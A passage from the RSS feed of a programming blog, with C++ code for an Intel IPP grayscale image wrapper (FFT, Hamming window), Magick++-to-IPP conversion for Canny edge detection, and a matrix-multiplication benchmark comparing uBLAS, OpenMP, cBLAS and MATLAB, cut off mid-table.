        void SaveToFile(string fileName);

        inline float GetPixel(unsigned int col, unsigned int row) {return _imgBuffer[row * _width + col];}
        inline void SetPixel(unsigned int col, unsigned int row, float clr) {_imgBuffer[row * _width + col] = clr;}

        unsigned int GetWidth() { return _width;}
        unsigned int GetHeight() { return _height;}

        Ipp32f* GetImageBuffer() { return _imgBuffer;}
        Image* GetImage() { return _img;}

        IPPGrayImage* Clone();
        IPPGrayImage* ApplyHammingWindow();
        IPPGrayImage* FFT(bool fftShift = false);
    protected:
    private:
        unsigned int _width;
        unsigned int _height;

        Image* _img;
        Pixels* _view;
        PixelPacket* _pixels;
        Ipp32f* _imgBuffer;
        string _fileName;

        void Init();
    };
}
#endif // IPPGRAYIMAGE_H
</pre>
<p>And here&#8217;s the implementation for the class:</p>
<pre class="brush: cpp;">
#include &lt;assert.h&gt;
#include &lt;math.h&gt;

#include &quot;IPPGrayImage.h&quot;

namespace KDW
{
    /** @brief Constructor()
     *  Initialize image buffer.
     */
    IPPGrayImage::IPPGrayImage()
    {
        Init();
    }

    /** @brief Constructor(width, height)
     *  Initialize an image size of width x height.
     */
    IPPGrayImage::IPPGrayImage(const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);
    }

    /** @brief Constructor(imgBuffer, width, height)
     *  Initilize from an Ipp32f buffer (width x height)
     */
    IPPGrayImage::IPPGrayImage(Ipp32f *imgBuffer, const unsigned int width, const unsigned int height)
    {
        Init();

        _width = width;
        _height = height;
        _imgBuffer = imgBuffer;
    }

    /** @brief Copy Constructor
     */
    IPPGrayImage::IPPGrayImage(const IPPGrayImage&amp; other)
    {
        _width = other._width;
        _height = other._height;

        int stepByte = 0;

        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);

        for (unsigned int row = 0; row &lt; _height ; row++)
        {
            for (unsigned int column = 0; column &lt; _width ; column++)
            {
                _imgBuffer[column + row * _width] =other._imgBuffer[column + row * _width];
            }
        }

        if (other._pixels == NULL) _pixels = NULL;
    }

    /** @brief Overload =
     */
    IPPGrayImage&amp; IPPGrayImage::operator=(const IPPGrayImage&amp; rhs)
    {
        if (this == &amp;rhs) return *this; // handle self assignment

        return *this;
    }

    /**
     * @brief Destructor
     */
    IPPGrayImage::~IPPGrayImage()
    {
        ippFree(_imgBuffer);
        delete _img;
        delete _view;
    }

    /**
     * @brief Common initialization code
     */
    void IPPGrayImage::Init()
    {
        PIXEL_SIZE = sizeof(Ipp32f);
        _pixels = NULL;
        _imgBuffer = NULL;
        _img = NULL;
    }

    /** @brief Load an image from file
      */
    void IPPGrayImage::LoadFromFile(string fileName)
    {
        _img = new Image(fileName);
        Geometry g = _img-&gt;size();

        _width = g.width();
        _height= g.height();

        _view = new Pixels(*_img);
        _pixels = _view-&gt;get(0,0, _width, _height);

        int stepByte = 0;
        _imgBuffer = ippiMalloc_32f_C1(_width, _height, &amp;stepByte);

        for (unsigned int row = 0; row &lt; _height ; row++)
        {
            for (unsigned int column = 0; column &lt; _width ; column++)
            {
                PixelPacket *p = &amp;_pixels[column + row * _width];
                Color c = Color(p-&gt;red, p-&gt;green, p-&gt;blue);
                _imgBuffer[column + row * _width] = c.intensity();
            }
        }
    }

    /** @brief Save the current image buffer to file
      */
    void IPPGrayImage::SaveToFile()
    {
        SaveToFile(&quot;&quot;);
    }

    /** @brief SaveToFile(fileName)
     *  Saves the current image buffer to a file (by file name).
     */
    void IPPGrayImage::SaveToFile(string fileName)
    {
        if (_img != NULL &amp;&amp; _pixels != NULL)
        {
            for (unsigned int y = 0; y&lt; _height ; y++)
            {
                for (unsigned int x = 0; x &lt; _width; x++)
                {
                    float clr = (float) _imgBuffer[x + y * _width];
                    _pixels[x+ y * _width] = Color(clr, clr, clr);
                }
            }
            _view-&gt;sync();
            _img-&gt;syncPixels();

            if (fileName == &quot;&quot;)
            {
                _img-&gt;write(_fileName);
            }
            else
            {
                _img-&gt;write(fileName);
            }
        }
        else
        {
            Image img(Geometry(_width, _height),&quot;white&quot;);

            for (unsigned int y = 0; y&lt; _height ; y++)
            {
                for (unsigned int x = 0; x &lt; _width; x++)
                {
                    Color c;
                    float clr = (float) _imgBuffer[x + y * _width];
                    img.pixelColor(x,y, Color(clr, clr, clr));
                }
            }

            img.write(fileName);
        }
    }

    /** @brief Clone
    *   Duplicate the current image to another IPPGrayImage object.
    *   @return an IPPGrayImage pointer to the cloned image
    */
    IPPGrayImage* IPPGrayImage::Clone()
    {
        IPPGrayImage *newImg;

        newImg = new IPPGrayImage(_width, _height);

        int stepByte = 0;
        newImg-&gt;_imgBuffer = ippiMalloc_32f_C1(_width,_height, &amp;stepByte);

        for (unsigned int y = 0 ; y &lt; _height ; y++)
        {
            for (unsigned int x = 0 ; x &lt; _width ; x++)
            {
                newImg-&gt;_imgBuffer[x + y * _width] = _imgBuffer[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Apply Hamming window to the image
     *  @return an IPPGrayImage pointer to the processed image
     */
    IPPGrayImage* IPPGrayImage::ApplyHammingWindow()
    {
        IPPGrayImage *newImg;
        newImg = new IPPGrayImage(_width , _height);
        IppiSize srcImgSize = {_width, _height};

        IppStatus sts;
        int stepByte;
        Ipp32f *imgCache = ippiMalloc_32f_C1(_width , _height , &amp;stepByte);

        sts = ippiWinHamming_32f_C1R(_imgBuffer, _width * PIXEL_SIZE, imgCache, _width * PIXEL_SIZE, srcImgSize);
        assert(sts ==ippStsNoErr);

        for (unsigned int y = 0; y&lt; _height; y++)
        {
            for (unsigned int x = 0; x &lt; _width; x++)
            {
                newImg-&gt;_imgBuffer[x+ y * _width] = imgCache[x + y * _width];
            }
        }

        return newImg;
    }

    /** @brief Perform FFT on the image and returns the magnitude component
     *  @param fftShift: if it is true, the the result is with
     *         zero-frequency component shifted to center of spectrum
     *  @return the magnitude FFT component
     */
    IPPGrayImage* IPPGrayImage::FFT(bool fftShift)
    {
        IPPGrayImage *newImg;
        IppiFFTSpec_R_32f *spec;
        IppStatus sts;

        unsigned int n = (int) (logf((float) _width) / logf(2.0f));
        unsigned int m = (int) (logf((float) _height) / logf(2.0f));

        unsigned int N = pow(2, n);
        unsigned int M = pow(2, m);

        if (N &lt; _width)
        {
            n = n + 1;
            N = pow(2, n);
        }

        if (M &lt; _height)
        {
            m = m + 1;
            M = pow(2, m);
        }

        int stepByte;
        Ipp32f *src = ippiMalloc_32f_C1(M , N , &amp;stepByte);
        Ipp32f *dst = ippiMalloc_32f_C1(M , N , &amp;stepByte);
        Ipp32f *mag = ippiMalloc_32f_C1(M , N , &amp;stepByte);

        IppiSize srcImgSize = {_width, _height};
        IppiSize dstImgSize = {N, M};

        sts = ippiCopyConstBorder_32f_C1R(
                  _imgBuffer, _width * PIXEL_SIZE, srcImgSize,
                  src,  N * PIXEL_SIZE, dstImgSize,
                  0,0,0);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTInitAlloc_R_32f(&amp;spec, n , m, IPP_FFT_DIV_BY_SQRTN, ippAlgHintAccurate);
        assert(sts ==ippStsNoErr);

        sts = ippiFFTFwd_RToPack_32f_C1R(src, N*PIXEL_SIZE, dst, N*PIXEL_SIZE, spec, 0);
        assert(sts ==ippStsNoErr);

        sts = ippiMagnitudePack_32f_C1R(dst, N*PIXEL_SIZE, mag, N*PIXEL_SIZE, dstImgSize);
        assert (sts ==ippStsNoErr);

        newImg = new IPPGrayImage(N , M);

        if (fftShift)
        {
#pragma omp sections
            {
#pragma omp section
                {
                    for (unsigned int y = 0 ; y &lt; M/2; y++)
                    {
                        for (unsigned int x = 0 ; x &lt; N/2; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x + N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = 0 ; y &lt; M/2; y++)
                    {
                        for (unsigned int x = N/2 ; x &lt; N; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x - N/2 + (y + M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y &lt; M; y++)
                    {
                        for (unsigned int x = 0 ; x &lt; N/2; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x + N/2 + (y - M/2) * N];
                        }
                    }
                }
#pragma omp section
                {
                    for (unsigned int y = M/2 ; y &lt; M; y++)
                    {
                        for (unsigned int x = N/2 ; x &lt; N; x++)
                        {
                            newImg-&gt;_imgBuffer[x+ y *N] = mag[x - N/2 + (y - M/2) * N];
                        }
                    }
                }
            }
        }
        else
        {
            for (unsigned int y = 0; y&lt; M; y++)
            {
                for (unsigned int x = 0; x &lt;N; x++)
                {
                    newImg-&gt;_imgBuffer[x+ y * N] = mag[x + y * N];
                }
            }

        }

        return newImg;
    }
}
</pre>
<p>The above example showed only the FFT function, but virtually all IPP image routines can be accommodated using the wrapper image class above. Intel IPP utilizes many different data types (e.g. Ipp8u, Ipp16s, Ipp32f etc.), but to provide most of the flexibility and compatibility I chose to use only the 32 bit floating data type. For specific implementations, other data types can be used as well.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/04/10/an-image-class-based-on-ipp/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Interfacing IPP with Magick++</title>
		<link>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/</link>
		<comments>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/#comments</comments>
		<pubDate>Wed, 18 Mar 2009 01:01:24 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[Image Processing]]></category>
		<category><![CDATA[IPP]]></category>
		<category><![CDATA[Multi-threading]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=864</guid>
		<description><![CDATA[Intel&#8217;s Integrated Performance Primitives (IPP) is a low level C++ library. It provides routines that are highly optimized on Intel processors. I recently started using it because its vast speed advantage in signal and image processing applications. Since the implementation of many of the functions are threaded, it makes the task of writing high performance [...]]]></description>
			<content:encoded><![CDATA[<p>Intel&#8217;s <a href="http://www.intel.com/cd/software/products/asmo-na/eng/302910.htm">Integrated Performance Primitives (IPP)</a> is a low level C++ library. It provides routines that are highly optimized on Intel processors. I recently started using it because its vast speed advantage in signal and image processing applications.<span id="more-864"></span></p>
<p>Since the implementation of many of the functions are threaded, it makes the task of writing high performance applications much easier. Since it is a set of &#8220;performance primitives&#8221; as the name suggests, it uses its own data structures (e.g. Ipp8u) and does not provide functions to directly inter-operate with data coming from other sources (e.g. image files).</p>
<p>Fortunately, such data conversion is pretty straight forward. In this post, I will illustrate how to convert an image file (e.g. .jpg, .png, .gif) to the data IPP uses, and how to save the result into a standard image file once the processing is done.</p>
<p><a href="http://www.imagemagick.org/Magick%2B%2B/">Magick++</a> is a very comprehensive image-processing C++ library and the Image class it provides handles image files quite well. So I chose to use Magic++&#8217;s API to convert image files to the data structure IPP uses. In this particular example, I will use a gray level image. But in practice, color images can be easily handled in a similar fashion.</p>
<p>For the code mentioned below, the following headers and namespaces are used:</p>
<pre class="brush: cpp;">
#include &lt;Magick++/Image.h&gt;
#include &lt;Magick++.h&gt;
#include &lt;ipp.h&gt;

using namespace std;
using namespace Magick;
</pre>
<p>And the following code shows how to convert a standard image file data into format that is suitable for IPP.</p>
<pre class="brush: cpp;">
    IppStatus sts;
    Image img(&quot;{Image File Name}&quot;);
    Geometry g = img.size();

    unsigned int width = g.width();
    unsigned int height= g.height();

    Pixels view(img);
    PixelPacket *pixels = view.get(0,0,width,height);

    int stepByte = 0;
    //allocating a buffer of unsigned char (Ipp8u) for the image.
    Ipp8u *imgCache = ippiMalloc_8u_C1(width,height, &amp;stepByte);

    for (unsigned int row = 0; row &lt; height ; row++)
    {
        for (unsigned int column = 0; column &lt; width ; column++)
        {
            PixelPacket *p = &amp;pixels[column + row * width];
            Color c = Color(p-&gt;red, p-&gt;green, p-&gt;blue);
            double i = c.scaleQuantumToDouble(c.intensity()) * 255;
            imgCache[column + row * width] = (char) i;
        }
    }
</pre>
<p>The above code snippet first reads the image data into *PixelPacket and the pixel buffer is then converted into a one channel buffer of chars (color value 0-255). Note that the range of the image data Magick++ reads in is between 0 and <strong><em>QuantumRange</em></strong>, which needs to be converted back to the range 0-255 accepted by the Ipp8u buffer. If other types of <strong><em>IPP</em></strong> image buffers are used (e.g. Ipp32f), this <strong><em>scaleQuantumToDouble()</em></strong> conversion may not be necessary. At the end, the image data is converted into the one dimensional array <strong><em>imgCache</em></strong> which can be used by <em>IPP</em> procedures.</p>
<p>Once we are in the <strong><em>IPP</em></strong> data domain, we can proceed with whatever processing we had in mind. Here I will show the code for edge detection using <a href="http://en.wikipedia.org/wiki/Canny_edge_detector">Canny algorithm</a>.</p>
<pre class="brush: cpp;">
    IppiSize orgImgSize = {width, height};
    IppiSize newImgSize = {width + 2, height + 2};

    Ipp8u *imgCache1 = ippiMalloc_8u_C1(width + 2,height + 2, &amp;stepByte);
    sts = ippiCopyReplicateBorder_8u_C1R(imgCache, width, orgImgSize,  imgCache1,
            width + 2 , newImgSize, 2, 2);
    IppiSize roi = {width, height};

    Ipp32f low=30.0f, high=100.0f;
    int size, size1, srcStep, dxStep, dyStep, dstStep;

    Ipp8u *src, *dst, *buffer;
    Ipp16s *dx, *dy;

    sts = ippiFilterSobelNegVertGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &amp;size);
    sts = ippiFilterSobelHorizGetBufferSize_8u16s_C1R(
            roi, ippMskSize3x3, &amp;size1);

    if (size&lt;size1) size=size1;
    ippiCannyGetSize(roi, &amp;size1);
    if (size&lt;size1) size=size1;

    buffer = ippsMalloc_8u(size);
    dx = ippsMalloc_16s(size);
    dy = ippsMalloc_16s(size);
    dst = ippsMalloc_8u(size);

    sts = ippiFilterSobelNegVertBorder_8u16s_C1R (
            imgCache1, width + 2 , dx, (width + 2) * 2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiFilterSobelHorizBorder_8u16s_C1R(
            imgCache1, width + 2, dy, (width + 2) *2 ,
            roi, ippMskSize3x3, ippBorderRepl, 0, buffer);
    sts = ippiCanny_16s8u_C1R(dx,
            (width + 2) * 2, dy, (width + 2) * 2,
            dst, width, roi, low, high, buffer);
</pre>
<p>The code shown above is adopted from Intel&#8217;s IPP manual for image and video processing (by default it is located at /opt/intel/ipp/<em>{version number}</em>/em64t/doc/ippiman.pdf).</p>
<p>Please pay special attention to how the original image is extended via <strong><em>ippiCopyReplicateBorder_8u_C1R</em></strong>. The image is extended by 2 pixels in each direction because the 3&#215;3 mask used for the filtering operation. I omitted error checking code for simplicity, but in general you need to check the return status of each ippi function call. When the call is successful, the status is <strong><em>ippStsNoErr</em></strong>. If you receive a value other than <strong><em>ippStsNoErr</em></strong> (e.g. <strong><em>ippStsStepErr</em></strong>) you will need to check your buffer size to make sure that they are adjusted according to the data type. For instance, in the code above <strong><em>dx</em> </strong>and <strong><em>dy</em></strong> are both 16bit signed integers and thus they both occupy two bytes each. </p>
<p>To save the result image, we convert the pixel buffer back to <strong><em>PixelPacket</em></strong> type. Again we need to convert the data in the buffer (<strong><em>Ipp8u</em></strong>) to the range accepted by Magick++ API.</p>
<pre class="brush: cpp;">
    for (unsigned int y = 0; y&lt; height ; y++)
    {
        for (unsigned int x = 0; x &lt; width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            pixels[x+ y * width] = Color(q, q, q);
        }
    }

    view.sync();
    img.syncPixels();

    img.write(&quot;{Image File Name}&quot;);
</pre>
<p>We can also save the result data into a new image (instead of syncing the data back to the image object holding the original image data) using the code below:</p>
<pre class="brush: cpp;">
    Image img1(Geometry(width, height),&quot;white&quot;);

    for (unsigned int y = 0; y&lt; height ; y++)
    {
        for (unsigned int x = 0; x &lt; width; x++)
        {
            Color c;
            float clr = (float) dst[x + y * width] /255;
            float q = c.scaleDoubleToQuantum(clr);
            img1.pixelColor(x,y, Color(q, q, q));
        }
    }

    img1.write(&quot;{Image File Name}&quot;);
</pre>
<p>And finally the buffers used are freed.</p>
<pre class="brush: cpp;">
    ippiFree(imgCache);
    ippsFree(buffer);
</pre>
<p>The following images show Canny edge detector in action using the code in this article:</p>
<div id="attachment_876" class="wp-caption aligncenter" style="width: 573px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test.jpg"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test.jpg" alt="Original" title="Original" width="563" height="422" class="size-full wp-image-876" /></a><p class="wp-caption-text">Original</p></div>
<div id="attachment_879" class="wp-caption aligncenter" style="width: 573px"><a href="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test_canny.png"><img src="http://www.kerrywong.com/blog/wp-content/uploads/2009/03/test_canny.png" alt="Canny Edge Detector applied" title="Canny Edge Detector applied" width="563" height="422" class="size-full wp-image-879" /></a><p class="wp-caption-text">Canny Edge Detector applied</p></div>
]]></content:encoded>
			<wfw:commentRss>http://www.kerrywong.com/2009/03/17/interfacing-ipp-with-magick/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Matrix Multiplication Performance in C++</title>
		<link>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/</link>
		<comments>http://www.kerrywong.com/2009/03/07/matrix-multiplication-performance-in-c/#comments</comments>
		<pubDate>Sat, 07 Mar 2009 04:16:14 +0000</pubDate>
		<dc:creator>kwong</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Linux/BSD]]></category>
		<category><![CDATA[Algorithm]]></category>
		<category><![CDATA[BLAS]]></category>
		<category><![CDATA[C++]]></category>
		<category><![CDATA[MATLAB]]></category>
		<category><![CDATA[matrix multiplication]]></category>

		<guid isPermaLink="false">http://www.kerrywong.com/?p=586</guid>
		<description><![CDATA[A few days ago, I ran across this article by Dmitri Nesteruk. In his article, he compared the performance between C# and C++ in matrix multiplication. From the data he provided, matrix multiplication using C# is two to three times slower than using C++ in comparable situations. Even though a lot of optimizations have been [...]]]></description>
			<content:encoded><![CDATA[<p>A few days ago, I ran across <a href="http://mindstudies.psy.soton.ac.uk/dmitri/blog/index.php/archives/160">this article by Dmitri Nesteruk</a>. In his article, he compared the performance between C# and C++ in <a href="http://en.wikipedia.org/wiki/Matrix_multiplication">matrix multiplication</a>. From the data he provided, matrix multiplication using C# is two to three times slower than using C++ in comparable situations.<span id="more-586"></span></p>
<p>Even though a lot of optimizations have been done in the .Net runtime to make it more efficient, it is apparent that scientific programming still favors C and C++ because that the performance advantage is huge.</p>
<p>In this article, I will examine some matrix multiplication algorithms that are commonly used and illustrate the efficiencies of the various methods. All the tests are done using C++ only and matrices size ranging from 500&#215;500 to 2000&#215;2000. When the matrix sizes are small (e.g. &lt;50), you can pretty much use any matrix multiplication algorithms without observing any significant performance differences. This is largely due to the fact that the typical stable matrix multiplication algorithms are O(n^3) and sometimes array operation overheads outweigh the benefit of algorithm efficiencies. But for matrices of larger dimensions, the efficiency of the multiplication algorithm becomes extremely important.</p>
<p>Since <a href="http://mindstudies.psy.soton.ac.uk/dmitri/blog/index.php/archives/160">Dmitri&#8217;s article</a> has already captured pretty detailed data using the standard matrix multiplication algorithm, I will not repeat his findings in this article. What I intended to show was the performance data of <a href="http://www.boost.org/doc/libs/1_38_0/libs/numeric/ublas/doc/overview.htm">uBLAS</a>, <a href="http://openmp.org/wp/">OpenMP</a>, <a href="http://en.wikipedia.org/wiki/Basic_Linear_Algebra_Subprograms">cBLAS</a> and <a href="http://www.mathworks.com/">MATLAB</a>.</p>
<p>The following sample code are compiled under Ubuntu 8.10 64 bit (kernel 2.6.24.23) on Intel Q9450@3.2GHz.</p>
<h4>Standard Matrix Multiplication (Single Threaded)</h4>
<p>This is our reference code. Later on, I will only show the critical portion of the code and not repeat the common portion of code that initializes/finalizes the arrays. Similarly, the timing method used is also the same across all the tests and will be omitted later on.</p>
<pre class="brush: cpp;">
float **A, **B, **C;

A = new float*[matrix_size];
B = new float*[matrix_size];
C = new float*[matrix_size];

for (int i = 0 ; i &lt; matrix_size; i++)
{
    A[i] = new float[matrix_size];
    B[i] = new float[matrix_size];
    C[i] = new float[matrix_size];
}

for (int i=0; i&lt;matrix_size; i++)
{
    for (int j = 0 ; j &lt; matrix_size; j++)
    {
        A[i][j]=rand();
        B[i][j]=rand();
    }
}

timeval t1, t2, t;
gettimeofday(&amp;t1, NULL);

for (int i = 0 ; i &lt; matrix_size; i++)
{
    for (int j = 0;  j &lt; matrix_size; j++)
    {
        C[i][j] = 0;
        for (int k = 0; k &lt; matrix_size; k++)
        {
            C[i][j] += A[i][k] * B[k][j];
        }
    }
}

gettimeofday(&amp;t2, NULL);
timersub(&amp;t2, &amp;t1, &amp;t);

cout &lt;&lt; t.tv_sec + t.tv_usec/1000000.0 &lt;&lt; &quot; Seconds -- Standard&quot; &lt;&lt; endl;

for (int i = 0 ; i &lt; matrix_size; i++)
{
    delete A[i];
    delete B[i];
    delete C[i];
}

delete A;
delete B;
delete C;
</pre>
<h4>OpenMP With Two Dimensional Arrays</h4>
<p>Using OpenMP, we are able to multiple threads via the #pragma omp directives. For the simple algorithm we used here, the speed increase is almost proportional to the number of available cores within the system.</p>
<pre class="brush: cpp;">
...
#pragma omp parallel for shared(a,b,c)
for (long i=0; i&lt;matrix_size; i++)
{
    for (long j = 0; j &lt; matrix_size; j++)
    {
        float sum = 0;
        for (long k = 0; k &lt; matrix_size; k++)
        {
            sum +=a[i][k]*b[k][j];
        }
        c[i][j] = sum;
    }
}
...
</pre>
<h4>OpenMP With One Dimensional Arrays</h4>
<p>Cache locality is poor using the simple algorithm I showed above. The performance can be easily improved however by improving the locality of the references. One way to achieve better cache locality is to use one dimensional array instead of two dimensional array and as you will see later, the performance of the following implementation has as much as 50% speed gains over the previous OpenMP implementation using two dimensional arrays.</p>
<pre class="brush: cpp;">
float *a, *b, *c;

a = new float[matrix_size * matrix_size];
b = new float[matrix_size * matrix_size];
c = new float[matrix_size * matrix_size];

for (long i=0; i&lt;matrix_size * matrix_size; i++)
{
    a[i]=rand();
    b[i] = rand();
    c[i] = 0;
}

#pragma omp parallel for shared(a,b,c)
for (long i=0; i&lt;matrix_size; i++)
{
    for (long j = 0; j &lt; matrix_size; j++)
    {
        long idx = i * matrix_size;
        float sum = 0;
        for (long k = 0; k &lt; matrix_size; k++)
        {
            sum +=a[idx + k]*b[k * matrix_size +j];
        }
        c[idx + j] = sum;
    }
}

delete a;
delete b;
delete c;
</pre>
<h4>Boost Library uBLAS (Single Threaded)</h4>
<p>Boost library provides a convenient way to perform matrix multiplication. However, the performance is very poor compared to all other approaches mentioned in this article. The performance of the uBLAS implementation is largely on par with that using C# (see benchmarks towards the end of the article). Intel&#8217;s Math Kernal Library (MKL) 10.1 does provide functionality to dynamically convert code using uBLAS syntax into highly efficient code using MKL by the inclusion of header file mkl_boost_ublas_matrix_prod.hpp. I have not tried it myself though, but the performance should be comparible to algorithms using the native MKL BLAS interface.</p>
<p>By default (without using MKL&#8217;s uBLAS capability) though, uBLAS is single threaded and due to its poor performance and I would strongly suggest avoid using uBLAS in any high performance scientific applications.</p>
<pre class="brush: cpp;">
matrix&lt;float&gt; A, B, C;

A.resize(matrix_size,matrix_size);
B.resize(matrix_size,matrix_size);

for (int i = 0; i &lt; matrix_size; ++ i)
{
    for (int j = 0; j &lt; matrix_size; ++ j)
    {
        A(i, j) = rand();
        B(i, j) = rand();
    }
}

C =prod(A, B);
</pre>
<h4>Intel Math Kernel Library (MKL) cBLAS</h4>
<p>Intel&#8217;s Math Kernel Library (MKL) is highly optimized on Intel&#8217;s microprocessor platforms. Given that Intel developed this library for its own processor platforms we can expect significant performance gains. I am still surprised at how fast the code runs using cBLAS though. In fact, it was so fast that I doubted the validity of the result at first. But after checking the results against those obtained by other means, those doubts were putting into rest.</p>
<p>The cBLAS matrix multiplication uses blocked matrix multiplication method which further improves cache locality. And it is more than thirty times faster then the fastest OMP 1D algorithm listed above! Another benefit is that by default it automatically detects the number of CPUs/cores available and uses all available threads. This behavior greatly simplifies the code since threading is handled transparently within the library.</p>
<pre class="brush: cpp;">
float *A, *B, *C;

A = new float[matrix_size * matrix_size];
B = new float[matrix_size * matrix_size];
C = new float[matrix_size * matrix_size];

for (int i = 0; i &lt; matrix_size * matrix_size; i++)
{
    A[i] = rand();
    B[i] = rand();
    C[i] = 0;
}

cblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans,
    matrix_size,  matrix_size,  matrix_size, 1.0, A,matrix_size,
    B, matrix_size, 0.0, C, matrix_size);
</pre>
<h4>MATLAB (Single Threaded)</h4>
<p>MATLAB is known for its efficient algorithms. In fact it uses BLAS libraries for its own matrix calculation routines. The version of MATLAB I have is a little dated (7.0.1), but nevertheless it would be interesting to see how its performance compares with that of latest MKL&#8217;s. MATLAB 7 is single threaded, and given the same matrix size, it runs roughly three times slower than the fastest MKL routine listed above (per core).</p>
<pre>    a = rand(i,i);
    b = rand(i,i);
    tic;
    c = a*b;
    t = toc</pre>
<p>
The following table shows the results I obtained by running the code listed above. The results are time in seconds. (note, S.TH means single threaded and M.TH means multi-threaded).</p>
<table border="0" cellspacing="0" frame="void" rules="none">
<colgroup>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
<col width="116"></col>
</colgroup>
<tbody>
<tr>
<td style="border: 1px solid #000000;" width="116" height="17" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">Size/Algorithm</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">uBLAS S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">STD S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">OMP 2D</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">OMP 1D</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">MATLAB S.TH</span></strong></td>
<td style="border: 1px solid #000000;" width="116" align="center" bgcolor="#008080"><strong><span style="color: #ffffff;">cBLAS M.TH</span></strong></td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">500&#215;500</span></strong></td>
<td style="border: 1px solid #000000;" align="right">3.2435</td>
<td style="border: 1px solid #000000;" align="right">0.5253</td>
<td style="border: 1px solid #000000;" align="right">0.1939</td>
<td style="border: 1px solid #000000;" align="right">0.0536</td>
<td style="border: 1px solid #000000;" align="right">0.0810</td>
<td style="border: 1px solid #000000;" align="right">0.0206</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">600&#215;600</span></strong></td>
<td style="border: 1px solid #000000;" align="right">5.7854</td>
<td style="border: 1px solid #000000;" align="right">0.9349</td>
<td style="border: 1px solid #000000;" align="right">0.3223</td>
<td style="border: 1px solid #000000;" align="right">0.1655</td>
<td style="border: 1px solid #000000;" align="right">0.1410</td>
<td style="border: 1px solid #000000;" align="right">0.0093</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">700&#215;700</span></strong></td>
<td style="border: 1px solid #000000;" align="right">9.2292</td>
<td style="border: 1px solid #000000;" align="right">1.2928</td>
<td style="border: 1px solid #000000;" align="right">0.3529</td>
<td style="border: 1px solid #000000;" align="right">0.2797</td>
<td style="border: 1px solid #000000;" align="right">0.2230</td>
<td style="border: 1px solid #000000;" align="right">0.0122</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">800&#215;800</span></strong></td>
<td style="border: 1px solid #000000;" align="right">13.7711</td>
<td style="border: 1px solid #000000;" align="right">2.3746</td>
<td style="border: 1px solid #000000;" align="right">0.7259</td>
<td style="border: 1px solid #000000;" align="right">0.4135</td>
<td style="border: 1px solid #000000;" align="right">0.3320</td>
<td style="border: 1px solid #000000;" align="right">0.0310</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">900&#215;900</span></strong></td>
<td style="border: 1px solid #000000;" align="right">20.3245</td>
<td style="border: 1px solid #000000;" align="right">3.4983</td>
<td style="border: 1px solid #000000;" align="right">1.0146</td>
<td style="border: 1px solid #000000;" align="right">0.7449</td>
<td style="border: 1px solid #000000;" align="right">0.4740</td>
<td style="border: 1px solid #000000;" align="right">0.0306</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1000&#215;1000</span></strong></td>
<td style="border: 1px solid #000000;" align="right">28.8345</td>
<td style="border: 1px solid #000000;" align="right">3.4983</td>
<td style="border: 1px solid #000000;" align="right">1.4748</td>
<td style="border: 1px solid #000000;" align="right">1.0548</td>
<td style="border: 1px solid #000000;" align="right">0.6530</td>
<td style="border: 1px solid #000000;" align="right">0.0700</td>
</tr>
<tr>
<td style="border: 1px solid #000000;" height="17" align="right" bgcolor="#008080"><strong><span style="color: #ffffff;">1100&#215;1100</span></strong></td>
<td style="border: 1px solid #000000;" align="right">38.2545</td>
<td style="border: 1px solid #000000;" align="right">7.0240</td>
